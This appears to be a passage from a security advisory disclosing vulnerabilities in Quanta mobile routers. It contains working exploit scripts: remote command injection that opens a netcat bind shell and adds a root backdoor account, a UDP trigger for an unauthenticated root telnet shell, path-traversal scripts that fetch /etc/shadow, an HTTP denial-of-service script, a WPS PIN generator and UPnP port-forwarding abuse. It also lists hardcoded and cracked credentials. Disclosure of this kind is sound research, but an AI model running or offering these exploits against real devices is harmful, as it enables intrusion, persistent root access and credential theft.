grep ssid ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " WPS PIN = "
grep enrollee_pin ${TMP_DIR}/stage1-wifi | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " guest wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " guest wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " public ip = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep ip | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " gateway = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep gateway | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " subnet mask = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep subnet_mask | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " dns server #1 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns1 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " dns server #2 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns2 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo
echo -n "Stage [2] - RCE ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&passwd=$http_password" http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"tracert\",\"cmd\":\"tracert\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
echo " OK"
echo "Stage [3] - Checking the router ... OK"
(echo id; echo echo "backdoor:htEcF9TWn./9Q:0:0:backdoor:/:/bin/sh >> /etc/passwd" ; echo exit) | nc 192.168.1.1 1337
echo -n "Stage [4] - Creating a backdoor account ..."
echo " OK"
echo "Stage [5] - Connecting as backdoor/admin to the remote sshd ..."
echo
echo "Have fun!"
echo
expect -c 'set timeout 3; spawn ssh backdoor@192.168.1.1; expect "password: $"; send "admin\r"; interact'
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-traceroute.sh.
A backdoor is present inside the /bin/appmgr
program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.
In /bin/appmgr
, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.
If a client sends "HELODBG" to the router, the router will execute /sbin/telnetd -l /bin/sh
, allowing to access without authentication to the router as root.
When using IDA, we can see the backdoor is located in the main function (line 389):
Working PoC :
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
OpenEmbedded Linux homerouter.cpe
msm 20141210 homerouter.cpe
/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$
Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).
By default, the PIN for the WPS system is ever 28296607
. It is, in fact, hardcoded in the /bin/appmgr
program:
An user can check in the webinterface ("Par defaut" means "By default"):
This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:
root@homerouter:~# ps -a|grep hostap
1006 root 0:00 hostapd /var/wifi/ar6k0.conf
1219 root 0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]
Leak of the default WPS PIN in the HTTP APIs:
user@kali:~$ ./quanta-infoleak.sh 192.168.1.1 | grep pin
enrollee_pin="28296607"
user@kali:~$
An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607
WPS PIN is provided by default).
The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:
user@kali:~$ cat quanta-wps-gen.c
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(int argc, char **argv, char **envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time(0)); i0 = rand() % 10000000; if (i0 <= 999999) i0 += 1000000; i1 = 10 * i0; i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10)) % 10) % 10 + 10 * i0; printf("%d\n", i2 ); return (0); }
user@kali:~$ gcc -o quanta-wps-gen quanta-wps-gen.c
user@kali:~$ ./quanta-wps-gen
97329329
user@kali:~$
You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c.
Using srand(time(0))
as a seed is a bad idea because an attacker, knowing the current date as time(0)
returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.
For the curious reader, the original algorithm in the firmware is:
.text:0001B8C8 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B8C8 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p
.text:0001B8C8
.text:0001B8C8 var_3C = -0x3C
.text:0001B8C8 var_38 = -0x38
.text:0001B8C8 s = -0x34
.text:0001B8C8 var_30 = -0x30
.text:0001B8C8 var_2C = -0x2C
.text:0001B8C8
.text:0001B8C8 STMFD SP!, {R4-R11,LR}
.text:0001B8CC SUB SP, SP, #0x1C
.text:0001B8D0 STR R0, [SP,#0x40+s]
.text:0001B8D4 MOV R0, #0 ; timer
.text:0001B8D8 BL time
.text:0001B8DC BL srand
.text:0001B8E0 BL rand
.text:0001B8E4 LDR R4, =0x6B5FCA6B
.text:0001B8E8 MOV R6, R0,ASR#31
.text:0001B8EC SMULL R1, R4, R0, R4
.text:0001B8F0 RSB R10, R6, R4,ASR#22
.text:0001B8F4 RSB R12, R10, R10,LSL#5
.text:0001B8F8 RSB R2, R12, R12,LSL#6
.text:0001B8FC ADD R11, R10, R2,LSL#3
.text:0001B900 LDR R8, =0xF423F
.text:0001B904 ADD R9, R11, R11,LSL#2
.text:0001B908 SUB R1, R0, R9,LSL#7
.text:0001B90C CMP R1, R8
.text:0001B910 ADDLS R1, R1, #0xF4000
.text:0001B914 ADDLS R1, R1, #0x240
.text:0001B918 ADD R3, R1, R1,LSL#2
.text:0001B91C MOV R3, R3,LSL#1
.text:0001B920 LDR R1, =0xCCCCCCCD
.text:0001B924 LDR R5, =0xA7C5AC5
.text:0001B928 LDR R6, =0x6B5FCA6B
.text:0001B92C MOV R7, R3,LSR#5
.text:0001B930 UMULL R4, R7, R5, R7
.text:0001B934 UMULL R9, LR, R1, R3
.text:0001B938 UMULL R5, R6, R3, R6
.text:0001B93C LDR R12, =0xD1B71759
.text:0001B940 MOV R6, R6,LSR#22
.text:0001B944 UMULL R10, R12, R3, R12
.text:0001B948 MOV LR, LR,LSR#3
.text:0001B94C UMULL R10, R9, R1, R6
.text:0001B950 UMULL R8, R10, R1, LR
.text:0001B954 LDR R0, =0x431BDE83
.text:0001B958 MOV R12, R12,LSR#13
.text:0001B95C UMULL R11, R0, R3, R0
.text:0001B960 STR R10, [SP,#0x40+var_38]
.text:0001B964 UMULL R8, R10, R1, R12
.text:0001B968 LDR R2, =0x51EB851F
.text:0001B96C LDR R4, =0x10624DD3
.text:0001B970 UMULL R5, R2, R3, R2
.text:0001B974 MOV R0, R0,LSR#18
.text:0001B978 STR R10, [SP,#0x40+var_3C]
.text:0001B97C UMULL R8, R4, R3, R4
.text:0001B980 UMULL R8, R10, R1, R0
.text:0001B984 MOV R2, R2,LSR#5
.text:0001B988 MOV R7, R7,LSR#7
.text:0001B98C UMULL R8, R11, R1, R7
.text:0001B990 STR R10, [SP,#0x40+var_30]
.text:0001B994 MOV R4, R4,LSR#6
.text:0001B998 UMULL R8, R10, R1, R2
.text:0001B99C UMULL R8, R5, R1, R4
.text:0001B9A0 STR R10, [SP,#0x40+var_2C]
.text:0001B9A4 MOV R8, R9,LSR#3
.text:0001B9A8 MOV R10, R11,LSR#3
.text:0001B9AC ADD R11, R10, R10,LSL#2
.text:0001B9B0 ADD R9, R8, R8,LSL#2
.text:0001B9B4 MOV R10, R5,LSR#3
.text:0001B9B8 LDR R8, [SP,#0x40+var_38]
.text:0001B9BC SUB R6, R6, R9,LSL#1
.text:0001B9C0 SUB R7, R7, R11,LSL#1
.text:0001B9C4 LDR R9, [SP,#0x40+var_3C]
.text:0001B9C8 LDR R11, [SP,#0x40+var_30]
.text:0001B9CC ADD R5, R10, R10,LSL#2
.text:0001B9D0 SUB R5, R4, R5,LSL#1
.text:0001B9D4 LDR R4, [SP,#0x40+var_2C]
.text:0001B9D8 MOV R10, R8,LSR#3
.text:0001B9DC MOV R8, R9,LSR#3
.text:0001B9E0 MOV R9, R11,LSR#3
.text:0001B9E4 ADD R7, R7, R6
.text:0001B9E8 ADD R10, R10, R10,LSL#2
.text:0001B9EC ADD R9, R9, R9,LSL#2
.text:0001B9F0 MOV R11, R4,LSR#3
.text:0001B9F4 ADD R8, R8, R8,LSL#2
.text:0001B9F8 ADD R7, R7, R5
.text:0001B9FC SUB LR, LR, R10,LSL#1
.text:0001BA00 SUB R5, R0, R9,LSL#1
.text:0001BA04 SUB R8, R12, R8,LSL#1
.text:0001BA08 ADD R11, R11, R11,LSL#2
.text:0001BA0C ADD R12, R7, LR
.text:0001BA10 SUB R4, R2, R11,LSL#1
.text:0001BA14 ADD R8, R8, R5
.text:0001BA18 ADD R5, R8, R4
.text:0001BA1C ADD R0, R12, R12,LSL#1
.text:0001BA20 ADD R4, R5, R0
.text:0001BA24 UMULL R5, R1, R4, R1
.text:0001BA28 MOV R2, R1,LSR#3
.text:0001BA2C ADD LR, R2, R2,LSL#2
.text:0001BA30 SUB R8, R4, LR,LSL#1
.text:0001BA34 LDR R0, =0x66666667
.text:0001BA38 RSB R2, R8, #0xA
.text:0001BA3C SMULL R8, R0, R2, R0
.text:0001BA40 MOV R12, R2,ASR#31
.text:0001BA44 RSB R1, R12, R0,ASR#2
.text:0001BA48 ADD LR, R1, R1,LSL#2
.text:0001BA4C LDR R12, =(__FUNCTION__.9079 - 0x1BA64)
.text:0001BA50 SUB R4, R2, LR,LSL#1
.text:0001BA54 LDR R2, =(aGet_wpspinI - 0x1BA70)
.text:0001BA58 ADD R4, R4, R3
.text:0001BA5C ADD R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001BA60 ADD R0, R0, #0x3C
.text:0001BA64 MOV R1, #0x3D
.text:0001BA68 ADD R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001BA6C MOV R3, R4
.text:0001BA70 BL wifi_filelog
.text:0001BA74 LDR R1, =(a08lu - 0x1BA84)
.text:0001BA78 LDR R0, [SP,#0x40+s] ; s
.text:0001BA7C ADD R1, PC, R1 ; "%08lu"
.text:0001BA80 MOV R2, R4
.text:0001BA84 ADD SP, SP, #0x1C
.text:0001BA88 LDMFD SP!, {R4-R11,LR}
.text:0001BA8C B sprintf
.text:0001BA8C ; End of function generate_wlan_wps_enrollee_pin
Samba is configured to run by default and the /bin/genpasswd
program configures the different accounts.
As seen in the IDA screenshot, multiple backdoors accounts are created:
From /bin/genpasswd
:
The resulting file (/usr/pc/samga/etc/passwd
) is:
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
And john confirms the passwords:
user@kali:~$ john -show usr-pc-samba-etc-passwd
admin:1234:0:0:Administrator:/:/bin/sh
support:1234:0:0:Technical Support:/:/bin/sh
user:1234:0:0:Normal User:/:/bin/sh
nobody:1234:0:0:nobody for ftp:/:/bin/sh
4 password hashes cracked, 0 left
user@kali:~$
When Samba starts, the passwd file is copied into /var/pc/samba/etc/passwd
.
The file /etc/inadyn-mt.conf
(for a dyndns client) contains an user and a hardcoded password. I don't know if it is used:
--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com
The credentials to contact the FOTA server are hardcoded in the /sbin/fotad
binary, as shown with this IDA screenshot:
The function sub_C8A4 contains the credentials as base64-strings, used to retrieve the firmware.
It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1 year.
The user/password combinaisons are:
qdpc:qdpc
qdpe:qdpe
qdp:qdp
This program is started at boot as root. The function sub_131F4 creates the /etc/guest_access_rules.sh
file, then fills it with ebtables commands, then chmod 777 /etc/guest_access_rules.sh
(!), then executes /etc/guest_access_rules.sh
(as root) and then removes it from the filesystem.
The local admin user (without root privileges) can use this TOCTOU vulnerability to gain root privileges in the router. Chmoding 777 a file and then executing it as root doesn't seem to be a good idea.
ds_system_call() is a wrapper to system().
Beginning of the sub_131F4 function (/etc/guest_access_rules.sh
is opened and ebtables are created):
End of the sub_131F4 function, where the TOCTOU vulnerability is located:
The attentive reader will comment that the program doesn't check if the file /etc/guest_access_rules.sh
already existed and if it was owned by a non-root user before doing a fopen (file, "w"), so this user would keep the rights on the file during all the execution of the function, allowing him to add some commands into the file. He will be right to note this is not a best security practice.
By default, Wifi password is provided as a 8-char string. It's composed of [A-Z]{8}. It's possible to bruteforce it very fast using a WPA handshake.
By sending multiple authenticated http requests to a webservice allowing to retrieve anti-csrf tokens (security feature!), it is possible to get the qmiweb daemon (http daemon) to use 100% of CPU and to become unresponsive. The service doesn't check the number of requested anti-csrf tokens by the client, so it is possible to request a large number of tokens, resulting in the blocking of the HTTP server.
Problematic HTTP request:
GET /data.ria?token=1000000000000000 HTTP/1.1
Host: 192.168.1.1
Cookie: qSessId=oTgVebjXWXcApoyb
PoC:
user@kali:~$ cat quanta-dos-http.sh
#!/bin/sh
TMP_DIR=$(mktemp -d)
echo -n "Stage [1] - Bypassing authentication ..."
wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo " OK"
echo -n "Stage [2] - DoS ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&passwd=$http_password" http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')
for i in $(seq 0 10)
do
wget -qO/dev/null --header="Cookie: ${http_session}hey-i-dont-think-your-parsing-of-cookies-works-well" "http://192.168.1.1/data.ria?token=100000000000000" &
done
echo " OK"
echo "Done. The HTTP server is surely unresponsive now."
user@kali:~$ ./quanta-dos-http.sh
Stage [1] - Bypassing authentication ... OK
Stage [2] - DoS ... OK
Done. The HTTP server is surely unresponsive now.
user@kali:~$
user@kali:~$
user@kali:~$ wget http://192.168.1.1
--2015-12-04 17:04:07-- http://192.168.1.1/
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response...
^C
user@kali:~$
Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-dos-http.sh.
In the router, the /bin/qmiweb
program uses all the CPU.
Mem: 40252K used, 128664K free, 0K shrd, 20K buff, 14804K cached
CPU: 31.2% usr 65.5% sys 0.0% nic 0.0% idle 0.0% io 0.0% irq 3.1% sirq
Load average: 7.71 4.38 2.16 2/214 1256
PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
797 1 root S 107m 64.8 0 98.4 /bin/qmiweb
If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary browsing using the http daemon in file system of the router using root privileges.
The problem is the function in the http daemon which doesn't clean ../../
in the HTTP requests.
Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.
PoC to browse the / directory of the router:
user@kali:~$ ./quanta-http-directory-listing.sh
{"query_path":"/../../../../","dir_list":[
{"name":"www","type":1,"date":"2014/12/10 02:26:44","size":0},
{"name":"usr","type":1,"date":"1970/01/01 00:02:23","size":0},
{"name":"config2","type":1,"date":"2016/02/24 17:26:07","size":0},
{"name":"build.prop","type":2,"date":"2014/12/10 02:27:50","size":38},
{"name":"sdcard","type":1,"date":"2016/01/28 18:34:47","size":0},
{"name":"home","type":1,"date":"2016/01/30 18:55:25","size":0},
{"name":"sbin","type":1,"date":"2014/12/10 02:27:50","size":0},
{"name":"bin","type":1,"date":"2014/12/10 02:27:49","size":0},
{"name":"media","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"boot","type":1,"date":"2014/12/10 02:15:37","size":0},
{"name":"mnt","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"sys","type":1,"date":"1970/01/01 02:43:27","size":0},
{"name":"disk","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"WEBSERVER","type":1,"date":"2014/12/10 02:26:39","size":0},
{"name":"lib","type":1,"date":"2016/02/24 17:13:53","size":0},
{"name":"dev","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"proc","type":1,"date":"1970/01/01 00:00:00","size":0},
{"name":"linuxrc","type":2,"date":"2014/12/10 02:16:02","size":1906904},
{"name":".ash_history","type":2,"date":"2016/02/24 16:44:14","size":1693},
{"name":"tmp","type":1,"date":"2016/02/24 19:23:31","size":0},
{"name":"etc","type":1,"date":"2016/02/24 19:23:28","size":0},
{"name":"config","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"lost+found","type":1,"date":"1970/01/01 02:43:26","size":0},
{"name":"var","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"cache","type":1,"date":"2016/02/24 16:43:38","size":0}]}
user@kali:~$
Source of the exploit:
user@kali:~$ cat quanta-http-directory-listing.sh
#!/bin/sh
TMP_DIR=$(mktemp -d)
wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&passwd=$http_password" http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO- --header="Cookie: ${http_session}" "http://192.168.1.1/data.ria?CfgType=storage_status&dir_path=/../../../../"
user@kali:~$
Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-http-directory-listing.sh.
If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary file reading in the file system of the router using root privileges.
The problem is the function in the http daemon which does clean the ../../
strings in the requests but not hex-encoded '/' (%2f) characters.
Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.
PoC to retrieve the /etc/shadow
file:
user@kali:~$ ./quanta-http-file.sh
root:aRDiHrJ0OkehM:16414:0:99999:7:::
daemon:*:16414:0:99999:7:::
bin:*:16414:0:99999:7:::
sys:*:16414:0:99999:7:::
sync:*:16414:0:99999:7:::
games:*:16414:0:99999:7:::
man:*:16414:0:99999:7:::
lp:*:16414:0:99999:7:::
mail:*:16414:0:99999:7:::
news:*:16414:0:99999:7:::
uucp:*:16414:0:99999:7:::
proxy:*:16414:0:99999:7:::
www-data:*:16414:0:99999:7:::
backup:*:16414:0:99999:7:::
list:*:16414:0:99999:7:::
irc:*:16414:0:99999:7:::
gnats:*:16414:0:99999:7:::
diag:*:16414:0:99999:7:::
nobody:*:16414:0:99999:7:::
messagebus:!:16414:0:99999:7:::
avahi:!:16414:0:99999:7:::
user@kali:~$
Source of the exploit:
user@kali:~$ cat quanta-http-file.sh
#!/bin/sh
TMP_DIR=$(mktemp -d)
wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&passwd=$http_password" http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO- --header="Cookie: ${http_session}" "http://192.168.1.1/storage_download/..%2f..%2f..%2f..%2f../etc/shadow"
user@kali:~$
Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-http-file.sh.
By default, the available pcap library is not located in the good path and tcpdump doesn't work (missing lib).
The /bin/gglogd
program is interesting because it fixes the tcpdump dependencies by moving libpcap into the correct directory, as shown in IDA screenshots.
Then, the /bin/gglogd
program will log all the traffic passing through the bridge0 (wlan0+eth* : wireless and ethernet) and the LTE interface (rmnet0). The resulting interception files will be written into the flash memory, so "somebody" can retrieve the logged traffic even if the router is rebooted.
Fixing tcpdump library:
Execution of tcpdump:
/bin/gglogd
is not started by default but it is suspicious that (1) this kind of the program is present in this router, (2) the program will fix the tcpdump dependencies on its own (tcpdump doesn't work by default in the firmware image) and (3) intercepting files are stored in a persistent storage. This intrigues further thoughts what the developer wanted to achieve from these settings.
This is not a vulnerability but an interesting fact.
Samba is started if a FAT32 usb disk is connected. The provided Samba version (3.0.25b) is outdated : 9 year old and is prone to =~ 28 CVEs allowing an attacker to execute arbitrary code as root. I advise users not to connect usb disks to this device, connecting an usb disks will start the samba daemons.
Dropbear is outdated (v2011.54).
UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.
Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is lowered volontary as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:
From /var/miniupnpd.conf
:
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:
Normal config file:
# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535
In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. From example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward what they want from the Internet into the LAN as shown below with the miranda tool.
user@kali:~$ miranda
upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
****************************************************************
SSDP reply message from 192.168.1.1:2869
XML file is located at http://192.168.1.1:2869/rootDesc.xml
Device is running / UPnP/1.1 MiniUPnPd/1.8
****************************************************************
^CDiscover mode halted...
upnp> host list
[0] 192.168.1.1:2869
upnp> host get 0
Requesting device and service info for 192.168.1.1:2869 (this could take a few seconds)...
Host data enumeration complete!
upnp> host info 0
xmlFile : http://192.168.1.1:2869/rootDesc.xml
name : 192.168.1.1:2869
proto : http://
serverType : / UPnP/1.1 MiniUPnPd/1.8
upnpServer : / UPnP/1.1 MiniUPnPd/1.8
dataComplete : True
deviceList : {}
upnp> host info 0 deviceList
InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}
upnp> host info 0 deviceList WAN
WANConnectionDevice WANDevice
upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection actions
AddPortMapping : {}
GetNATRSIPStatus : {}
GetGenericPortMappingEntry : {}
GetSpecificPortMappingEntry : {}
ForceTermination : {}
GetExternalIPAddress : {}
GetConnectionTypeInfo : {}
GetListOfPortMappings : {}
GetStatusInfo : {}
SetConnectionType : {}
DeletePortMappingRange : {}
DeletePortMapping : {}
RequestConnection : {}
AddAnyPortMapping : {}
upnp> host summary 0
Host: 192.168.1.1:2869
XML File: http://192.168.1.1:2869/rootDesc.xml
InternetGatewayDevice
modelName: Quanta Mobile Router
UPC: 000000000000
modelNumber: 1
presentationURL: http://192.168.1.1
friendlyName: Quanta Mobile Router
fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:2
UDN: uuid:56f610e0-0fb9-11e3-8ffd-0800200c9a66
modelURL: http://192.168.1.1
manufacturer: Quanta
WANDevice
modelName: Quanta Mobile Router
UPC: 000000000000
modelNumber: Quanta Mobile Router
friendlyName: Quanta Mobile Router
fullName: urn:schemas-upnp-org:device:WANDevice:2
UDN: uuid:56f610e1-0fb9-11e3-8ffd-0800200c9a66
modelURL: http://192.168.1.1
manufacturer: Quanta
WANConnectionDevice
modelName: Quanta Mobile Router
UPC: 000000000000
modelNumber: Quanta Mobile Router
friendlyName: Quanta Mobile Router
fullName: urn:schemas-upnp-org:device:WANConnectionDevice:2
UDN: uuid:56f610e2-0fb9-11e3-8ffd-0800200c9a66
modelURL: http://192.168.1.1
manufacturer: Quanta
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping
Required argument:
Argument Name: NewPortMappingDescription
Data Type: string
Allowed Values: []
Set NewPortMappingDescription value to: net-to-internal-http-server
Required argument:
Argument Name: NewLeaseDuration
Data Type: ui4
Allowed Values: []
Value Min: 0
Value Max: 604800
Set NewLeaseDuration value to: 0
Required argument:
Argument Name: NewInternalClient
Data Type: string
Allowed Values: []
Set NewInternalClient value to: 192.168.1.101
Required argument:
Argument Name: NewEnabled
Data Type: boolean
Allowed Values: []
Set NewEnabled value to: 1
Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 80
Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to:
Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP
Required argument:
Argument Name: NewInternalPort
Data Type: ui2
Allowed Values: []
Value Min: 1
Value Max: 65535
Set NewInternalPort value to: 80
upnp> exit
Bye!
user@kali:~$
Firewall rules in the router before an attacker (with IP 192.168.1.2) uses UPnP:
root@homerouter:~# iptables-save | grep UPNP
:MINIUPNPD - [0:0]
-A PREWAN -j MINIUPNPD
:MINIUPNPD - [0:0]
-A FORWARD -o bridge0 -m mark --mark 0x11 -j MINIUPNPD
root@homerouter:~#
Firewall rules in the router after an attacker (with IP 192.168.1.2) uses UPnP:
root@homerouter:~# iptables-save | grep UPNP
:MINIUPNPD - [0:0]
-A MINIUPNPD -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.101:80
-A PREWAN -j MINIUPNPD
:MINIUPNPD - [0:0]
-A FORWARD -o bridge0 -m mark --mark 0x11 -j MINIUPNPD
-A MINIUPNPD -d 192.168.1.101/32 -p tcp -m tcp --dport 80 -j ACCEPT
root@homerouter:~#
A new firewall rule allowing traffic from the Internet to a local HTTP server (192.168.1.101) was sucessfully added.
The webpage at http://192.168.1.1/diaglogs_page.htm
(needs a valid session) gives new parameters to edit:
This is not a vulnerability but an interesting hidden functionality.
As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (/bin/tinyproxy -c /var/tproxy.conf
), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).
The reader must understand that not all the vulnerabilities have been disclosed. There is a lot of interesting undisclosed findings in this router (including RCEs) and I encourage security researchers to analyze the binaries provided by the firmware (We can agree I already did my part).
Given the vulnerabilities found, even if the vendor changes its mind and decides to patch the router, I don't think it is even possible as it needs major rewrites in several main components (the ASM code shows very bad security practices in several binaries).
From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these included vulnerabilities in the default firmware, I don't think it is worth making the effort.
